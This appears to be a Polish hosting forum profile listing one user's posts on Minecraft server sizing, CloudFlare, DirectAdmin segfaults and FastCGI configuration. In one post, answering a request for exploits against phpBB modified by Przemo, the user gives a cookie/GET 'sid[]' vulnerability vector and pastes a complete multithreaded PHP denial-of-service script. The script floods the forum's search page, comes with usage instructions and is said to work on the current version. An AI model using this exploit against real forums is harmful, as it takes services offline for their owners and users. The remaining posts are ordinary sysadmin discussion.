Skocz do zawartości

t4t4v4

WHT Pro
  • Zawartość

    373
  • Rejestracja

  • Ostatnio

  • Wygrane dni

    6

Posty napisane przez t4t4v4


  1. Łącze nie problem, MC wymaga super pingów.

    Na 1Mbps przypada 8 graczy - ciągle aktywnych, kopiących, wyrzucających przedmioty, piszących, budujących itp itd - testowane na produkcyjnym, prywatnym serwerze.

    Oranie dysku, problem z IO? Wystarczy przeznaczyć 2-3GB RAM pod ramdysk i wrzucać tam mapy świata - a to zrzucać co 5-10 minut na HDD/SSD.

    Jeden gracz to 54MB RAMu - tak wychodzi rzeczywiście, przy serwerze pełnym wtyczek i graczy. Teoretycznie zakłada się 64MB/gracz.

     

    Strzelam, że 3TB transferu wystarczą, zawsze można dokupić ;)


  2. Możesz podać chociaż jeden exploit na aktualną wersję? wink.png)

     

    Ja bym wybrał myBB.

     

    Vulnerability in cookie "_sid" and method GET sid:
    http://example.com/login.php?sid[]=
    or put to the cookie "_sid":
    bb8536eb00_sid[]=12345
    

     

    DoS:

    <?php
    ################################################################################
    # Exploit Title:		 phpBB modified by Przemo <= 1.12.6p4 Denial Of Service Exploit1
    #
    # Software			   phpBB modified by Przemo 1.12.6p4
    # Date:				  2010-04-29
    # Author:				GLOBUS
    # Software Link:		 http://www.przemo.org/phpBB2/
    # Version:			   <= 1.12.6p4
    # category:			  DoS
    #
    # Greetz:				hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka
    ################################################################################
    // cURL and PHP5
    function info()
    {
    echo "##################################################################\n";
    echo "# phpBB modified by Przemo <= 1.12.6p4 Denial Of Service Exploit1\n";
    echo "# Author: GLOBUS\n";
    echo "# Greetz: hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka\n";
    echo "##################################################################\n";
    echo "# php dos.php URL THREADS TIMEOUT\n";
    echo "# php dos.php http://www.example.pl/phpbb/ 20 5\n";
    echo "##################################################################\n";
    exit;
    }
    if($argc !== 4 || !preg_match('#^\d+$#', $argv[2]) || !preg_match('#^\d+$#', $argv[3]))
    {
    info();
    }
    $url = $argv[1];
    $threads = (int) $argv[2];
    $timeout = (int) $argv[3];
    $ptimeout = $timeout * 100;
    $packet = implode('+', range(100,999));
    while(1)
    {
    $m = curl_multi_init();
    for($i = 0; $i < $threads; $i++)
    {
     $c[$i] = curl_init();
     $opts = array
     (
      CURLOPT_URL  => $url . 'search.php?mode=results',
      CURLOPT_USERAGENT => 'Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.5.24 Version/10.52',
      CURLOPT_ENCODING => 'gzip, deflate',
      CURLOPT_POST  => 1,
      CURLOPT_POSTFIELDS => 'search_keywords='. $packet .'&search_terms=all&search_author=&search_time=0&search_fields=all&show_results=posts&sort_by=2&sort_dir=DESC&return_chars=-1',
      CURLOPT_RETURNTRANSFER => 1,
      CURLOPT_TIMEOUT  => $timeout,
     );
     curl_setopt_array($c[$i], $opts);
     curl_multi_add_handle($m, $c[$i]);
    }
    $t = 0;
    do
    {
     curl_multi_exec($m, $r);
     usleep(100000);
     $t++;
     if($t > $ptimeout)
     {
      curl_multi_close($m);
      for($i = 0; $i < $threads; $i++)
      {
    curl_close($c[$i]);
      }
      break;
     }
    }
    while($r > 0);
    echo '.';
    }
    ?>
    

     

    Na wersji 1.12.6p4 działały oba a z tego co wiem to najnowsza wersja.

     

    Co do DoSa to można go było prosto wyciąć przez nałożenie limitu na MySQL czy nawet banowanie na kilka minut takiego delikwenta, który stosuje generuje tyle żądań.

    Miłego weekendu!


  3. Jeśli postawimy mapę świata na zwykłych HDD, nawet w RAID0 (oczywiście setki graczy) to serwer nam wygeneruje tak dużą ilość IO, że wszystko się pozatyka. Wiem to zarówno z własnych doświadczeń i testów jak i z tego co można przeczytać w Internecie.

    Dyski SSD radzą sobie już znacznie lepiej z utrzymywaniem mapy, jednak też wypada je mieć w macierzy co by jeszcze bardziej przyspieszyć operacje odczytu i zapisu.

     

    Zdecydowanie najlepszym rozwiązaniem jest skorzystanie z ramdysku i przeznaczenie np. 4GB pamięci RAM tylko i wyłącznie na światy serwera i zgrywanie ich raz na 15 minut na HDD. Opisałem to na wielu forach i "sprzedałem" taki pomysł wielu ludziom - serwery przestały mulić, mogły obrobić większą ilość graczy w tym samym czasie, komfort gry znacznie wzrósł.

     

    EDIT: Jeśli to są VPSy od OVH to pewnie stoją w jakimś klastrze i MineCraft nie powinien być dla nich problemem :)

    Pisząc to co wyżej miałem na myśli serwery gier postawione na jednej fizcznej maszynie.


  4. CloudFlare to super rozwiązanie dla dostawców hostingu.

    Można używać dużo słabszych maszyn, gdyż CF cache'uje nam strony i obniża ilość odwołań do głównego serwera WWW.

    CF ukrywa także nasz prawdziwy adres IP przez co można uniknąć ataków typu DDoS.

    CF pomaga w przenoszeniu się między serwerami (a raczej adresami), gdyż natychmiastowo aktualizuje sobie rekordy A.

     

    CF przestaje jednak działać, gdy ktoś pozna nasz adres i będzie atakować bezpośrednio po nim, nie używając do tego celu nazwy hosta.


  5. Support DA pomógł:

    Hello,

     

    I found /usr/lib/libmysqlclient.so.16, which isn't part of our install.

     

    Ours is at:

    /usr/local/mysql/lib/libmysqlclient.so.16.

     

    I've moved the wrong one into /root, and linked the old location to our file.

     

    Now that DA is using the correct libraries, the page load works correctly.

     

    Make sure that other versions of mysql are not being installed... (eg: don't use apt-get for mysql)

     

    Thank you,

     

    John

     

    Problem rozwiązany, dobranoc.


  6. Hej!

    Po aktualizacji DirectAdmina do najnowszej wersji (PHP 5.3.8 i MySQL 5.5.18), gdy chcę wejść w "Zarządzanie MySQL" dostaję błąd segmentation fault.

     

    Error log:

    *** Segmentation fault *** Command::doCommand(/CMD_DB) : User: admin : 213.195.161.203 : /CMD_DB : domain=domena.pl : (null)

     

    Zrzut pamięci (debug):

    Starting program: /usr/local/directadmin/directadmin s

    Direct Admin 1.40.1

    Accepting Connections on port 2222

     

    Program received signal SIGSEGV, Segmentation fault.

    0x000000000046211a in ConfigFile::setParam(char const*, char const*) ()

    (gdb) bt full

    #0 0x000000000046211a in ConfigFile::setParam(char const*, char const*) ()

    No symbol table info available.

    #1 0x00000000004bcaf2 in Database::getRow(ConfigFile&, st_mysql_res*, int) ()

    No symbol table info available.

    #2 0x00000000004c504a in Database::getDBsize(char const*, st_mysql*, int) ()

    No symbol table info available.

    #3 0x00000000004c54d8 in Database::setDBTableToken(Send*, char const*) ()

    No symbol table info available.

    #4 0x000000000042aa25 in Command::doDB(char const*, char const*, char const*, int, ConfigFile*) ()

    No symbol table info available.

    #5 0x0000000000444396 in Command::doCommand(char const*) ()

    No symbol table info available.

    #6 0x0000000000446065 in Command::run(char const*) ()

    No symbol table info available.

    #7 0x0000000000553dbb in server() ()

    No symbol table info available.

    #8 0x0000000000554650 in main ()

    No symbol table info available.

    (gdb)

     

    Ktoś ma pomysły jak to załatać? apt-get upgrade + custombuild php i MySQL?

     

    Edit: Nowi użytkownicy nie mają tego błędu. Ci, którzy przeszli z wersji 1.39 mają błąd.


  7. Witajcie!

    Chcę zrobić pakiet, w którym wszyscy użytkownicy będą mieć reklamy na stronie. Więc posłużyłem się: http://www.directadmin.com/features.php?id=479 i http://help.directadmin.com/item.php?id=299

     

    Zawartość pliku custom_package_items.conf:

    reklamy=type=checkbox&string=Reklamy na stronie&desc=Reklamy na stronie&checked=no
    

     

    Zaznaczanie funkcji "reklama" działa i jest dodawana linijka do pliku: /usr/local/directadmin/data/users/testowo/users.conf reklama=ON

     

     

    Do niektórych plików httpd.conf zależnie od zaznaczenia opcji "reklamy" chcę dodawać następujący kod:

    LayoutIgnoreURI *.rss
    LayoutIgnoreURI *.xml
    LayoutIgnoreURI *.raw
       AllowOverride All
       AddOutputFilter LAYOUT html htm shtml php
       LayoutComment Off
       LayoutFooter /home/reklama.html
    

     

    Więc w templatkach virtual hostów dodałem pomiędzy <Directory>:

    |*if reklamy="ON"|
    LayoutIgnoreURI *.rss
    LayoutIgnoreURI *.xml
    LayoutIgnoreURI *.raw
       AllowOverride All
       AddOutputFilter LAYOUT html htm shtml php
       LayoutComment Off
       LayoutFooter /home/reklama.html
    |*endif|
    

     

    Gdy wrzucę użytkownikowi ręcznie kod dodający reklamę, wszystko działa. Gdy dodam nowego użytkownika z zaznaczoną "reklamą" (reklama=ON) to nie dodaje mi tego do httpd.conf

     

    Wie ktoś o co może chodzić? :)


  8. Panocki! Wykorzystując mój geniusz.. Joke, to wszystko dzięki Wam! Skleciłem taki skrypt z dwóch skryptów:

    #!/bin/sh
    for username in `ls /usr/local/directadmin/data/users`; do
    {
    mkdir -p /fcgi/${username}/public_html
    cp /usr/local/directadmin/scripts/custom/fcgid.sh /fcgi/${username}/public_html/fcgid.sh && chmod 0700 /fcgi/${username}/public_html/fcgid.sh
    cp /usr/local/directadmin/scripts/custom/php.ini /fcgi/${username}/public_html/php.ini
    perl -pi -w -e "s/PHPCFG_BASEDIR/\/home\/${username}\//g;" /fcgi/${username}/public_html/php.ini
    chown -R ${username}:${username} /fcgi/${username}
    }
    done;
    

     

    Po nadaniu uprawnień wszystko ruszyło od kopa. Elegancko działa.

    PHPInfo mówi:

    Server API: CGI/FastCGI

    Configure Command: ... '--enable-fastcgi' ...

     

    Więc FastCGI działczy?

     

    Może odejdę od tematu: jak nałożyć limity CPU na wykonywanie skryptów? Próbowałem tak (starter fcgid.sh):

    #!/bin/sh
    export PHP_FCGI_MAX_REQUESTS=0
    exec cpulimit -P /usr/local/php5/bin/php-cgi -l 5
    

     

    Skrypt jest wykonywany chyba w nieskończoność, strona nie ładuje się - jak zrobić to poprawnie?

     

     

    Edit: Pomęczyłem, pomęczyłem i doszedłem:

    #!/bin/sh
    PHPRC="~"
    export PHPRC
    export PHP_FCGI_CHILDREN=1
    exec (cpulimit -P /usr/local/php5/bin/php-cgi -l 10)
    

     

    Za pomoc zapraszam do Zamościa na browarka wink.png

     

     

    EDIT: Starter z CPULimit niby odpala skrypty PHP ale w ogóle nie limituje procka. Co z tym fantem zrobić? :)


  9. Już zapomnijmy o tym suPHP - pomieszało mi się kompletnie..

     

    Powróciłem do prac nad FastCGId i wyskakuje znów 500 Internal Server Error a logi mówią:

    [Tue Nov 22 01:37:08 2011] [warn] [client 178.36.208.132] (104)Connection reset by peer: mod_fcgid: error reading data from FastCGI server
    [Tue Nov 22 01:37:08 2011] [error] [client 178.36.208.132] Premature end of script headers: index.php
    

     

    suExec log:

    [2011-11-22 01:37:08]: uid: (1002/admin) gid: (1003/admin) cmd: fcgid.sh
    [2011-11-22 01:37:08]: target uid/gid (1002/1003) mismatch with directory (0/0) or program (0/0)
    

     

    Co z tym fantem zrobić? :)

×